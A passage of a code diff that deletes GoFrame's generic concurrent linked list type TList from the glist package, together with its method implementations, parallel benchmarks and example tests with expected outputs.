-// and returns values of the removed elements as slice.
-func (l *TList[T]) PopFrontAll() []T {
-	return l.PopFronts(-1)
-}
-
-// FrontAll copies and returns values of all elements from front of `l` as slice.
-func (l *TList[T]) FrontAll() (values []T) {
-	l.mu.RLock()
-	defer l.mu.RUnlock()
-	l.lazyInit()
-	length := l.len
-	if length > 0 {
-		values = make([]T, length)
-		for i, e := 0, l.front(); i < length; i, e = i+1, e.Next() {
-			values[i] = e.Value
-		}
-	}
-	return
-}
-
-// BackAll copies and returns values of all elements from back of `l` as slice.
-func (l *TList[T]) BackAll() (values []T) {
-	l.mu.RLock()
-	defer l.mu.RUnlock()
-	l.lazyInit()
-	length := l.len
-	if length > 0 {
-		values = make([]T, length)
-		for i, e := 0, l.back(); i < length; i, e = i+1, e.Prev() {
-			values[i] = e.Value
-		}
-	}
-	return
-}
-
-// FrontValue returns value of the first element of `l` or zero value of T if the list is empty.
-func (l *TList[T]) FrontValue() (value T) {
-	l.mu.RLock()
-	defer l.mu.RUnlock()
-	l.lazyInit()
-	if e := l.front(); e != nil {
-		value = e.Value
-	}
-	return
-}
-
-// BackValue returns value of the last element of `l` or zero value of T if the list is empty.
-func (l *TList[T]) BackValue() (value T) {
-	l.mu.RLock()
-	defer l.mu.RUnlock()
-	l.lazyInit()
-	if e := l.back(); e != nil {
-		value = e.Value
-	}
-	return
-}
-
-// Front returns the first element of list `l` or nil if the list is empty.
-func (l *TList[T]) Front() (e *TElement[T]) {
-	l.mu.RLock()
-	defer l.mu.RUnlock()
-
-	l.lazyInit()
-
-	e = l.front()
-	return
-}
-
-// Back returns the last element of list `l` or nil if the list is empty.
-func (l *TList[T]) Back() (e *TElement[T]) {
-	l.mu.RLock()
-	defer l.mu.RUnlock()
-	l.lazyInit()
-
-	e = l.back()
-	return
-}
-
-// Len returns the number of elements of list `l`.
-// The complexity is O(1).
-func (l *TList[T]) Len() (length int) {
-	l.mu.RLock()
-	defer l.mu.RUnlock()
-
-	l.lazyInit()
-
-	length = l.len
-	return
-}
-
-// Size is alias of Len.
-func (l *TList[T]) Size() int {
-	return l.Len()
-}
-
-// MoveBefore moves element `e` to its new position before `p`.
-// If `e` or `p` is not an element of `l`, or `e` == `p`, the list is not modified.
-// The element and `p` must not be nil.
-func (l *TList[T]) MoveBefore(e, p *TElement[T]) {
-	l.mu.Lock()
-	defer l.mu.Unlock()
-
-	l.lazyInit()
-
-	if e.list != l || e == p || p.list != l {
-		return
-	}
-	l.move(e, p.prev)
-}
-
-// MoveAfter moves element `e` to its new position after `p`.
-// If `e` or `p` is not an element of `l`, or `e` == `p`, the list is not modified.
-// The element and `p` must not be nil.
-func (l *TList[T]) MoveAfter(e, p *TElement[T]) {
-	l.mu.Lock()
-	defer l.mu.Unlock()
-	l.lazyInit()
-	if e.list != l || e == p || p.list != l {
-		return
-	}
-	l.move(e, p)
-}
-
-// MoveToFront moves element `e` to the front of list `l`.
-// If `e` is not an element of `l`, the list is not modified.
-// The element must not be nil.
-func (l *TList[T]) MoveToFront(e *TElement[T]) {
-	l.mu.Lock()
-	defer l.mu.Unlock()
-	l.lazyInit()
-
-	if e.list != l || l.root.next == e {
-		return
-	}
-	// see comment in List.Remove about initialization of l
-	l.move(e, &l.root)
-}
-
-// MoveToBack moves element `e` to the back of list `l`.
-// If `e` is not an element of `l`, the list is not modified.
-// The element must not be nil.
-func (l *TList[T]) MoveToBack(e *TElement[T]) {
-	l.mu.Lock()
-	defer l.mu.Unlock()
-	l.lazyInit()
-
-	if e.list != l || l.root.prev == e {
-		return
-	}
-	// see comment in List.Remove about initialization of l
-	l.move(e, l.root.prev)
-}
-
-// PushBackList inserts a copy of an other list at the back of list `l`.
-// The lists `l` and `other` may be the same, but they must not be nil.
-func (l *TList[T]) PushBackList(other *TList[T]) {
-	if l != other {
-		other.mu.RLock()
-		defer other.mu.RUnlock()
-	}
-	l.mu.Lock()
-	defer l.mu.Unlock()
-
-	l.lazyInit()
-
-	for i, e := other.len, other.front(); i > 0; i, e = i-1, e.Next() {
-		l.insertValue(e.Value, l.root.prev)
-	}
-}
-
-// PushFrontList inserts a copy of an other list at the front of list `l`.
-// The lists `l` and `other` may be the same, but they must not be nil.
-func (l *TList[T]) PushFrontList(other *TList[T]) {
-	if l != other {
-		other.mu.RLock()
-		defer other.mu.RUnlock()
-	}
-	l.mu.Lock()
-	defer l.mu.Unlock()
-
-	l.lazyInit()
-
-	for i, e := other.len, other.back(); i > 0; i, e = i-1, e.Prev() {
-		l.insertValue(e.Value, &l.root)
-	}
-}
-
-// InsertAfter inserts a new element `e` with value `v` immediately after `p` and returns `e`.
-// If `p` is not an element of `l`, the list is not modified.
-// The `p` must not be nil.
-func (l *TList[T]) InsertAfter(p *TElement[T], v T) (e *TElement[T]) {
-	l.mu.Lock()
-	defer l.mu.Unlock()
-
-	l.lazyInit()
-	if p.list != l {
-		return nil
-	}
-	e = l.insertValue(v, p)
-	return
-}
-
-// InsertBefore inserts a new element `e` with value `v` immediately before `p` and returns `e`.
-// If `p` is not an element of `l`, the list is not modified.
-// The `p` must not be nil.
-func (l *TList[T]) InsertBefore(p *TElement[T], v T) (e *TElement[T]) {
-	l.mu.Lock()
-	defer l.mu.Unlock()
-
-	l.lazyInit()
-	if p.list != l {
-		return nil
-	}
-	e = l.insertValue(v, p.prev)
-	return
-}
-
-// Remove removes `e` from `l` if `e` is an element of list `l`.
-// It returns the element value e.Value.
-// The element must not be nil.
-func (l *TList[T]) Remove(e *TElement[T]) (value T) {
-	l.mu.Lock()
-	defer l.mu.Unlock()
-	l.lazyInit()
-	return l.remove(e)
-}
-
-// Removes removes multiple elements `es` from `l` if `es` are elements of list `l`.
-func (l *TList[T]) Removes(es []*TElement[T]) {
-	l.mu.Lock()
-	defer l.mu.Unlock()
-	l.lazyInit()
-	for _, e := range es {
-		l.remove(e)
-	}
-}
-
-// RemoveAll removes all elements from list `l`.
-func (l *TList[T]) RemoveAll() {
-	l.mu.Lock()
-	l.init()
-	l.mu.Unlock()
-}
-
-// Clear is alias of RemoveAll.
-func (l *TList[T]) Clear() {
-	l.RemoveAll()
-}
-
-// ToList converts TList[T] to list.List
-func (l *TList[T]) ToList() *list.List {
-	l.mu.RLock()
-	defer l.mu.RUnlock()
-
-	return l.toList()
-}
-
-// toList converts TList[T] to list.List
-func (l *TList[T]) toList() *list.List {
-	l.lazyInit()
-
-	nl := list.New()
-
-	for e := l.front(); e != nil; e = e.Next() {
-		nl.PushBack(e.Value)
-	}
-	return nl
-}
-
-// AppendList append list.List to the end
-func (l *TList[T]) AppendList(nl *list.List) {
-	l.mu.Lock()
-	defer l.mu.Unlock()
-
-	l.appendList(nl)
-}
-
-// appendList append list.List to the end
-func (l *TList[T]) appendList(nl *list.List) {
-	if nl.Len() == 0 {
-		return
-	}
-
-	l.lazyInit()
-
-	for e := nl.Front(); e != nil; e = e.Next() {
-		if v, ok := e.Value.(T); ok {
-			l.insertValue(v, l.root.prev)
-		}
-	}
-}
-
-// AssignList assigns list.List to now TList[T].
-// It will clear TList[T] first, and append the list.List.
-// Note: Elements in nl that are not assignable to T are silently skipped.
-// Returns the number of skipped (incompatible) elements.
-func (l *TList[T]) AssignList(nl *list.List) int {
-	l.mu.Lock()
-	defer l.mu.Unlock()
-
-	return l.assignList(nl)
-}
-
-// assignList assigns list.List to now TList[T].
-// It will clear TList[T] first, and append the list.List.
-// Returns the number of skipped (incompatible) elements.
-func (l *TList[T]) assignList(nl *list.List) int {
-	l.init()
-	if nl.Len() == 0 {
-		return 0
-	}
-	skipped := 0
-	for e := nl.Front(); e != nil; e = e.Next() {
-		if v, ok := e.Value.(T); ok {
-			l.insertValue(v, l.root.prev)
-		} else {
-			skipped++
-		}
-	}
-	return skipped
-}
-
-// RLockFunc locks reading with given callback function `f` within RWMutex.RLock.
-func (l *TList[T]) RLockFunc(f func(list *list.List)) {
-	l.mu.RLock()
-	defer l.mu.RUnlock()
-
-	f(l.toList())
-}
-
-// LockFunc locks writing with given callback function `f` within RWMutex.Lock.
-func (l *TList[T]) LockFunc(f func(list *list.List)) {
-	l.mu.Lock()
-	defer l.mu.Unlock()
-
-	nl := l.toList()
-	f(nl)
-	l.assignList(nl)
-}
-
-// Iterator is alias of IteratorAsc.
-func (l *TList[T]) Iterator(f func(e *TElement[T]) bool) {
-	l.IteratorAsc(f)
-}
-
-// IteratorAsc iterates the list readonly in ascending order with given callback function `f`.
-// If `f` returns true, then it continues iterating; or false to stop.
-func (l *TList[T]) IteratorAsc(f func(e *TElement[T]) bool) {
-	l.mu.RLock()
-	defer l.mu.RUnlock()
-	l.lazyInit()
-	length := l.len
-	if length > 0 {
-		for i, e := 0, l.front(); i < length; i, e = i+1, e.Next() {
-			if !f(e) {
-				break
-			}
-		}
-	}
-}
-
-// IteratorDesc iterates the list readonly in descending order with given callback function `f`.
-// If `f` returns true, then it continues iterating; or false to stop.
-func (l *TList[T]) IteratorDesc(f func(e *TElement[T]) bool) {
-	l.mu.RLock()
-	defer l.mu.RUnlock()
-	l.lazyInit()
-	length := l.len
-	if length > 0 {
-		for i, e := 0, l.back(); i < length; i, e = i+1, e.Prev() {
-			if !f(e) {
-				break
-			}
-		}
-	}
-}
-
-// Join joins list elements with a string `glue`.
-func (l *TList[T]) Join(glue string) string {
-	l.mu.RLock()
-	defer l.mu.RUnlock()
-	l.lazyInit()
-
-	buffer := bytes.NewBuffer(nil)
-	length := l.len
-	if length > 0 {
-		for i, e := 0, l.front(); i < length; i, e = i+1, e.Next() {
-			buffer.WriteString(gconv.String(e.Value))
-			if i != length-1 {
-				buffer.WriteString(glue)
-			}
-		}
-	}
-	return buffer.String()
-}
-
-// String returns current list as a string.
-func (l *TList[T]) String() string {
-	if l == nil {
-		return ""
-	}
-	return "[" + l.Join(",") + "]"
-}
-
-// MarshalJSON implements the interface MarshalJSON for json.Marshal.
-func (l TList[T]) MarshalJSON() ([]byte, error) {
-	return json.Marshal(l.FrontAll())
-}
-
-// UnmarshalJSON implements the interface UnmarshalJSON for json.Unmarshal.
-func (l *TList[T]) UnmarshalJSON(b []byte) error {
-	var array []T
-	if err := json.UnmarshalUseNumber(b, &array); err != nil {
-		return err
-	}
-	l.init()
-	l.PushBacks(array)
-	return nil
-}
-
-// UnmarshalValue is an interface implement which sets any type of value for list.
-func (l *TList[T]) UnmarshalValue(value any) (err error) {
-	var array []T
-	switch value.(type) {
-	case string, []byte:
-		err = json.UnmarshalUseNumber(gconv.Bytes(value), &array)
-	default:
-		anyArray := gconv.SliceAny(value)
-		if err = gconv.Scan(anyArray, &array); err != nil {
-			return
-		}
-	}
-	l.init()
-	l.PushBacks(array)
-	return err
-}
-
-// DeepCopy implements interface for deep copy of current type.
-func (l *TList[T]) DeepCopy() any {
-	if l == nil {
-		return nil
-	}
-
-	l.mu.RLock()
-	defer l.mu.RUnlock()
-
-	l.lazyInit()
-
-	var (
-		length  = l.len
-		valuesT = make([]T, length)
-	)
-	if length > 0 {
-		for i, e := 0, l.front(); i < length; i, e = i+1, e.Next() {
-			valuesT[i] = deepcopy.Copy(e.Value).(T)
-		}
-	}
-	return NewTFrom(valuesT, l.mu.IsSafe())
-}
-
-// Init initializes or clears list l.
-func (l *TList[T]) init() *TList[T] {
-	l.root.next = &l.root
-	l.root.prev = &l.root
-	l.len = 0
-	return l
-}
-
-// lazyInit lazily initializes a zero List value.
-func (l *TList[T]) lazyInit() {
-	if l.root.next == nil {
-		l.init()
-	}
-}
-
-// insert inserts e after at, increments l.len, and returns e.
-func (l *TList[T]) insert(e, at *TElement[T]) *TElement[T] {
-	e.prev = at
-	e.next = at.next
-	e.prev.next = e
-	e.next.prev = e
-	e.list = l
-	l.len++
-	return e
-}
-
-// insertValue is a convenience wrapper for insert(&Element{Value: v}, at).
-func (l *TList[T]) insertValue(v T, at *TElement[T]) *TElement[T] {
-	return l.insert(&TElement[T]{Value: v}, at)
-}
-
-// remove removes e from its list, decrements l.len
-func (l *TList[T]) remove(e *TElement[T]) (val T) {
-	if e.list != l {
-		return
-	}
-	e.prev.next = e.next
-	e.next.prev = e.prev
-	e.next = nil // avoid memory leaks
-	e.prev = nil // avoid memory leaks
-	e.list = nil
-	l.len--
-
-	return e.Value
-}
-
-// move moves e to next to at.
-func (l *TList[T]) move(e, at *TElement[T]) {
-	if e == at {
-		return
-	}
-	e.prev.next = e.next
-	e.next.prev = e.prev
-
-	e.prev = at
-	e.next = at.next
-	e.prev.next = e
-	e.next.prev = e
-}
-
-// front returns the first element of list l or nil if the list is empty.
-func (l *TList[T]) front() *TElement[T] {
-	if l.len == 0 {
-		return nil
-	}
-	return l.root.next
-}
-
-// back returns the last element of list l or nil if the list is empty.
-func (l *TList[T]) back() *TElement[T] {
-	if l.len == 0 {
-		return nil
-	}
-	return l.root.prev
-}

container/glist/glist_z_bench_t_test.go

@@ -1,61 +0,0 @@
-// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
-//
-// This Source Code Form is subject to the terms of the MIT License.
-// If a copy of the MIT was not distributed with this file,
-// You can obtain one at https://github.com/gogf/gf.
-
-// go test *.go -bench=".*" -benchmem
-
-package glist
-
-import (
-	"testing"
-)
-
-var (
-	lt = NewT[any](true)
-)
-
-func Benchmark_T_PushBack(b *testing.B) {
-	b.RunParallel(func(pb *testing.PB) {
-		i := 0
-		for pb.Next() {
-			lt.PushBack(i)
-			i++
-		}
-	})
-}
-
-func Benchmark_T_PushFront(b *testing.B) {
-	b.RunParallel(func(pb *testing.PB) {
-		i := 0
-		for pb.Next() {
-			lt.PushFront(i)
-			i++
-		}
-	})
-}
-
-func Benchmark_T_Len(b *testing.B) {
-	b.RunParallel(func(pb *testing.PB) {
-		for pb.Next() {
-			lt.Len()
-		}
-	})
-}
-
-func Benchmark_T_PopFront(b *testing.B) {
-	b.RunParallel(func(pb *testing.PB) {
-		for pb.Next() {
-			lt.PopFront()
-		}
-	})
-}
-
-func Benchmark_T_PopBack(b *testing.B) {
-	b.RunParallel(func(pb *testing.PB) {
-		for pb.Next() {
-			lt.PopBack()
-		}
-	})
-}

container/glist/glist_z_example_t_test.go

@@ -1,689 +0,0 @@
-// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
-//
-// This Source Code Form is subject to the terms of the MIT License.
-// If a copy of the MIT was not distributed with this file,
-// You can obtain one at https://github.com/gogf/gf.
-
-package glist_test
-
-import (
-	"container/list"
-	"fmt"
-
-	"github.com/gogf/gf/v2/container/garray"
-	"github.com/gogf/gf/v2/container/glist"
-	"github.com/gogf/gf/v2/frame/g"
-)
-
-func ExampleNewT() {
-	n := 10
-	l := glist.NewT[any]()
-	for i := 0; i < n; i++ {
-		l.PushBack(i)
-	}
-
-	fmt.Println(l.Len())
-	fmt.Println(l)
-	fmt.Println(l.FrontAll())
-	fmt.Println(l.BackAll())
-
-	for i := 0; i < n; i++ {
-		fmt.Print(l.PopFront())
-	}
-
-	fmt.Println()
-	fmt.Println(l.Len())
-
-	// Output:
-	// 10
-	// [0,1,2,3,4,5,6,7,8,9]
-	// [0 1 2 3 4 5 6 7 8 9]
-	// [9 8 7 6 5 4 3 2 1 0]
-	// 0123456789
-	// 0
-}
-
-func ExampleNewTFrom() {
-	n := 10
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 10, 1).Slice())
-
-	fmt.Println(l.Len())
-	fmt.Println(l)
-	fmt.Println(l.FrontAll())
-	fmt.Println(l.BackAll())
-
-	for i := 0; i < n; i++ {
-		fmt.Print(l.PopFront())
-	}
-
-	fmt.Println()
-	fmt.Println(l.Len())
-
-	// Output:
-	// 10
-	// [1,2,3,4,5,6,7,8,9,10]
-	// [1 2 3 4 5 6 7 8 9 10]
-	// [10 9 8 7 6 5 4 3 2 1]
-	// 12345678910
-	// 0
-}
-
-func ExampleTList_PushFront() {
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 5, 1).Slice())
-
-	fmt.Println(l.Len())
-	fmt.Println(l)
-
-	l.PushFront(0)
-
-	fmt.Println(l.Len())
-	fmt.Println(l)
-
-	// Output:
-	// 5
-	// [1,2,3,4,5]
-	// 6
-	// [0,1,2,3,4,5]
-}
-
-func ExampleTList_PushBack() {
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 5, 1).Slice())
-
-	fmt.Println(l.Len())
-	fmt.Println(l)
-
-	l.PushBack(6)
-
-	fmt.Println(l.Len())
-	fmt.Println(l)
-
-	// Output:
-	// 5
-	// [1,2,3,4,5]
-	// 6
-	// [1,2,3,4,5,6]
-}
-
-func ExampleTList_PushFronts() {
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 5, 1).Slice())
-
-	fmt.Println(l.Len())
-	fmt.Println(l)
-
-	l.PushFronts(g.Slice{0, -1, -2, -3, -4})
-
-	fmt.Println(l.Len())
-	fmt.Println(l)
-
-	// Output:
-	// 5
-	// [1,2,3,4,5]
-	// 10
-	// [-4,-3,-2,-1,0,1,2,3,4,5]
-}
-
-func ExampleTList_PushBacks() {
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 5, 1).Slice())
-
-	fmt.Println(l.Len())
-	fmt.Println(l)
-
-	l.PushBacks(g.Slice{6, 7, 8, 9, 10})
-
-	fmt.Println(l.Len())
-	fmt.Println(l)
-
-	// Output:
-	// 5
-	// [1,2,3,4,5]
-	// 10
-	// [1,2,3,4,5,6,7,8,9,10]
-}
-
-func ExampleTList_PopBack() {
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 5, 1).Slice())
-
-	fmt.Println(l.Len())
-	fmt.Println(l)
-	fmt.Println(l.PopBack())
-	fmt.Println(l.Len())
-	fmt.Println(l)
-
-	// Output:
-	// 5
-	// [1,2,3,4,5]
-	// 5
-	// 4
-	// [1,2,3,4]
-}
-
-func ExampleTList_PopFront() {
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 5, 1).Slice())
-
-	fmt.Println(l.Len())
-	fmt.Println(l)
-	fmt.Println(l.PopFront())
-	fmt.Println(l.Len())
-	fmt.Println(l)
-
-	// Output:
-	// 5
-	// [1,2,3,4,5]
-	// 1
-	// 4
-	// [2,3,4,5]
-}
-
-func ExampleTList_PopBacks() {
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 5, 1).Slice())
-
-	fmt.Println(l.Len())
-	fmt.Println(l)
-	fmt.Println(l.PopBacks(2))
-	fmt.Println(l.Len())
-	fmt.Println(l)
-
-	// Output:
-	// 5
-	// [1,2,3,4,5]
-	// [5 4]
-	// 3
-	// [1,2,3]
-}
-
-func ExampleTList_PopFronts() {
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 5, 1).Slice())
-
-	fmt.Println(l.Len())
-	fmt.Println(l)
-	fmt.Println(l.PopFronts(2))
-	fmt.Println(l.Len())
-	fmt.Println(l)
-
-	// Output:
-	// 5
-	// [1,2,3,4,5]
-	// [1 2]
-	// 3
-	// [3,4,5]
-}
-
-func ExampleTList_PopBackAll() {
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 5, 1).Slice())
-
-	fmt.Println(l.Len())
-	fmt.Println(l)
-	fmt.Println(l.PopBackAll())
-	fmt.Println(l.Len())
-
-	// Output:
-	// 5
-	// [1,2,3,4,5]
-	// [5 4 3 2 1]
-	// 0
-}
-
-func ExampleTList_PopFrontAll() {
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 5, 1).Slice())
-
-	fmt.Println(l.Len())
-	fmt.Println(l)
-	fmt.Println(l.PopFrontAll())
-	fmt.Println(l.Len())
-
-	// Output:
-	// 5
-	// [1,2,3,4,5]
-	// [1 2 3 4 5]
-	// 0
-}
-
-func ExampleTList_FrontAll() {
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 5, 1).Slice())
-
-	fmt.Println(l)
-	fmt.Println(l.FrontAll())
-
-	// Output:
-	// [1,2,3,4,5]
-	// [1 2 3 4 5]
-}
-
-func ExampleTList_BackAll() {
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 5, 1).Slice())
-
-	fmt.Println(l)
-	fmt.Println(l.BackAll())
-
-	// Output:
-	// [1,2,3,4,5]
-	// [5 4 3 2 1]
-}
-
-func ExampleTList_FrontValue() {
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 5, 1).Slice())
-
-	fmt.Println(l)
-	fmt.Println(l.FrontValue())
-
-	// Output:
-	// [1,2,3,4,5]
-	// 1
-}
-
-func ExampleTList_BackValue() {
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 5, 1).Slice())
-
-	fmt.Println(l)
-	fmt.Println(l.BackValue())
-
-	// Output:
-	// [1,2,3,4,5]
-	// 5
-}
-
-func ExampleTList_Front() {
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 5, 1).Slice())
-
-	fmt.Println(l.Front().Value)
-	fmt.Println(l)
-
-	e := l.Front()
-	l.InsertBefore(e, 0)
-	l.InsertAfter(e, "a")
-
-	fmt.Println(l)
-
-	// Output:
-	// 1
-	// [1,2,3,4,5]
-	// [0,1,a,2,3,4,5]
-}
-
-func ExampleTList_Back() {
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 5, 1).Slice())
-
-	fmt.Println(l.Back().Value)
-	fmt.Println(l)
-
-	e := l.Back()
-	l.InsertBefore(e, "a")
-	l.InsertAfter(e, 6)
-
-	fmt.Println(l)
-
-	// Output:
-	// 5
-	// [1,2,3,4,5]
-	// [1,2,3,4,a,5,6]
-}
-
-func ExampleTList_Len() {
-	l := glist.NewTFrom[any](g.Slice{1, 2, 3, 4, 5})
-
-	fmt.Println(l.Len())
-
-	// Output:
-	// 5
-}
-
-func ExampleTList_Size() {
-	l := glist.NewTFrom[any](g.Slice{1, 2, 3, 4, 5})
-
-	fmt.Println(l.Size())
-
-	// Output:
-	// 5
-}
-
-func ExampleTList_MoveBefore() {
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 5, 1).Slice())
-
-	fmt.Println(l.Size())
-	fmt.Println(l)
-
-	// element of `l`
-	e := l.PushBack(6)
-	fmt.Println(l.Size())
-	fmt.Println(l)
-
-	l.MoveBefore(e, l.Front())
-
-	fmt.Println(l.Size())
-	fmt.Println(l)
-
-	// not element of `l`
-	e = &glist.TElement[any]{Value: 7}
-	l.MoveBefore(e, l.Front())
-
-	fmt.Println(l.Size())
-	fmt.Println(l)
-
-	// Output:
-	// 5
-	// [1,2,3,4,5]
-	// 6
-	// [1,2,3,4,5,6]
-	// 6
-	// [6,1,2,3,4,5]
-	// 6
-	// [6,1,2,3,4,5]
-}
-
-func ExampleTList_MoveAfter() {
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 5, 1).Slice())
-
-	fmt.Println(l.Size())
-	fmt.Println(l)
-
-	// element of `l`
-	e := l.PushFront(0)
-	fmt.Println(l.Size())
-	fmt.Println(l)
-
-	l.MoveAfter(e, l.Back())
-
-	fmt.Println(l.Size())
-	fmt.Println(l)
-
-	// not element of `l`
-	e = &glist.TElement[any]{Value: -1}
-	l.MoveAfter(e, l.Back())
-
-	fmt.Println(l.Size())
-	fmt.Println(l)
-
-	// Output:
-	// 5
-	// [1,2,3,4,5]
-	// 6
-	// [0,1,2,3,4,5]
-	// 6
-	// [1,2,3,4,5,0]
-	// 6
-	// [1,2,3,4,5,0]
-}
-
-func ExampleTList_MoveToFront() {
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 5, 1).Slice())
-
-	fmt.Println(l.Size())
-	fmt.Println(l)
-
-	// element of `l`
-	l.MoveToFront(l.Back())
-
-	fmt.Println(l.Size())
-	fmt.Println(l)
-
-	// not element of `l`
-	e := &glist.TElement[any]{Value: 6}
-	l.MoveToFront(e)
-
-	fmt.Println(l.Size())
-	fmt.Println(l)
-
-	// Output:
-	// 5
-	// [1,2,3,4,5]
-	// 5
-	// [5,1,2,3,4]
-	// 5
-	// [5,1,2,3,4]
-}
-
-func ExampleTList_MoveToBack() {
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 5, 1).Slice())
-
-	fmt.Println(l.Size())
-	fmt.Println(l)
-
-	// element of `l`
-	l.MoveToBack(l.Front())
-
-	fmt.Println(l.Size())
-	fmt.Println(l)
-
-	// not element of `l`
-	e := &glist.TElement[any]{Value: 0}
-	l.MoveToBack(e)
-
-	fmt.Println(l.Size())
-	fmt.Println(l)
-
-	// Output:
-	// 5
-	// [1,2,3,4,5]
-	// 5
-	// [2,3,4,5,1]
-	// 5
-	// [2,3,4,5,1]
-}
-
-func ExampleTList_PushBackList() {
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 5, 1).Slice())
-
-	fmt.Println(l.Size())
-	fmt.Println(l)
-
-	other := glist.NewTFrom[any](g.Slice{6, 7, 8, 9, 10})
-
-	fmt.Println(other.Size())
-	fmt.Println(other)
-
-	l.PushBackList(other)
-
-	fmt.Println(l.Size())
-	fmt.Println(l)
-
-	// Output:
-	// 5
-	// [1,2,3,4,5]
-	// 5
-	// [6,7,8,9,10]
-	// 10
-	// [1,2,3,4,5,6,7,8,9,10]
-}
-
-func ExampleTList_PushFrontList() {
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 5, 1).Slice())
-
-	fmt.Println(l.Size())
-	fmt.Println(l)
-
-	other := glist.NewTFrom[any](g.Slice{-4, -3, -2, -1, 0})
-
-	fmt.Println(other.Size())
-	fmt.Println(other)
-
-	l.PushFrontList(other)
-
-	fmt.Println(l.Size())
-	fmt.Println(l)
-
-	// Output:
-	// 5
-	// [1,2,3,4,5]
-	// 5
-	// [-4,-3,-2,-1,0]
-	// 10
-	// [-4,-3,-2,-1,0,1,2,3,4,5]
-}
-
-func ExampleTList_InsertAfter() {
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 5, 1).Slice())
-
-	fmt.Println(l.Len())
-	fmt.Println(l)
-
-	l.InsertAfter(l.Front(), "a")
-	l.InsertAfter(l.Back(), "b")
-
-	fmt.Println(l.Len())
-	fmt.Println(l)
-
-	// Output:
-	// 5
-	// [1,2,3,4,5]
-	// 7
-	// [1,a,2,3,4,5,b]
-}
-
-func ExampleTList_InsertBefore() {
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 5, 1).Slice())
-
-	fmt.Println(l.Len())
-	fmt.Println(l)
-
-	l.InsertBefore(l.Front(), "a")
-	l.InsertBefore(l.Back(), "b")
-
-	fmt.Println(l.Len())
-	fmt.Println(l)
-
-	// Output:
-	// 5
-	// [1,2,3,4,5]
-	// 7
-	// [a,1,2,3,4,b,5]
-}
-
-func ExampleTList_Remove() {
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 5, 1).Slice())
-
-	fmt.Println(l.Len())
-	fmt.Println(l)
-
-	fmt.Println(l.Remove(l.Front()))
-	fmt.Println(l.Remove(l.Back()))
-
-	fmt.Println(l.Len())
-	fmt.Println(l)
-
-	// Output:
-	// 5
-	// [1,2,3,4,5]
-	// 1
-	// 5
-	// 3
-	// [2,3,4]
-}
-
-func ExampleTList_Removes() {
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 5, 1).Slice())
-
-	fmt.Println(l.Len())
-	fmt.Println(l)
-
-	l.Removes([]*glist.TElement[any]{l.Front(), l.Back()})
-
-	fmt.Println(l.Len())
-	fmt.Println(l)
-
-	// Output:
-	// 5
-	// [1,2,3,4,5]
-	// 3
-	// [2,3,4]
-}
-
-func ExampleTList_RemoveAll() {
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 5, 1).Slice())
-
-	fmt.Println(l.Len())
-	fmt.Println(l)
-
-	l.RemoveAll()
-
-	fmt.Println(l.Len())
-
-	// Output:
-	// 5
-	// [1,2,3,4,5]
-	// 0
-}
-
-func ExampleTList_RLockFunc() {
-	// concurrent-safe list.
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 10, 1).Slice(), true)
-	// iterate reading from head.
-	l.RLockFunc(func(list *list.List) {
-		length := list.Len()
-		if length > 0 {
-			for i, e := 0, list.Front(); i < length; i, e = i+1, e.Next() {
-				fmt.Print(e.Value)
-			}
-		}
-	})
-	fmt.Println()
-	// iterate reading from tail.
-	l.RLockFunc(func(list *list.List) {
-		length := list.Len()
-		if length > 0 {
-			for i, e := 0, list.Back(); i < length; i, e = i+1, e.Prev() {
-				fmt.Print(e.Value)
-			}
-		}
-	})
-
-	fmt.Println()
-	// Output:
-	// 12345678910
-	// 10987654321
-}
-
-func ExampleTList_IteratorAsc() {
-	// concurrent-safe list.
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 10, 1).Slice(), true)
-	// iterate reading from head using IteratorAsc.
-	l.IteratorAsc(func(e *glist.TElement[any]) bool {
-		fmt.Print(e.Value)
-		return true
-	})
-
-	// Output:
-	// 12345678910
-}
-
-func ExampleTList_IteratorDesc() {
-	// concurrent-safe list.
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 10, 1).Slice(), true)
-	// iterate reading from tail using IteratorDesc.
-	l.IteratorDesc(func(e *glist.TElement[any]) bool {
-		fmt.Print(e.Value)
-		return true
-	})
-	// Output:
-	// 10987654321
-}
-
-func ExampleTList_LockFunc() {
-	// concurrent-safe list.
-	l := glist.NewTFrom[any](garray.NewArrayRange(1, 10, 1).Slice(), true)
-	// iterate writing from head.
-	l.LockFunc(func(list *list.List) {
-		length := list.Len()
-		if length > 0 {
-			for i, e := 0, list.Front(); i < length; i, e = i+1, e.Next() {
-				if e.Value == 6 {
-					e.Value = "M"
-					break
-				}
-			}
-		}
-	})
-	fmt.Println(l)
-
-	// Output:
-	// [1,2,3,4,5,M,7,8,9,10]
-}
-
-func ExampleTList_Join() {
-	var l glist.TList[any]
-	l.PushBacks(g.Slice{"a", "b", "c", "d"})
-
-	fmt.Println(l.Join(","))
-
-	// Output:
-	// a,b,c,d
-}

container/glist/glist_z_unit_t_test.go

@@ -1,933 +0,0 @@
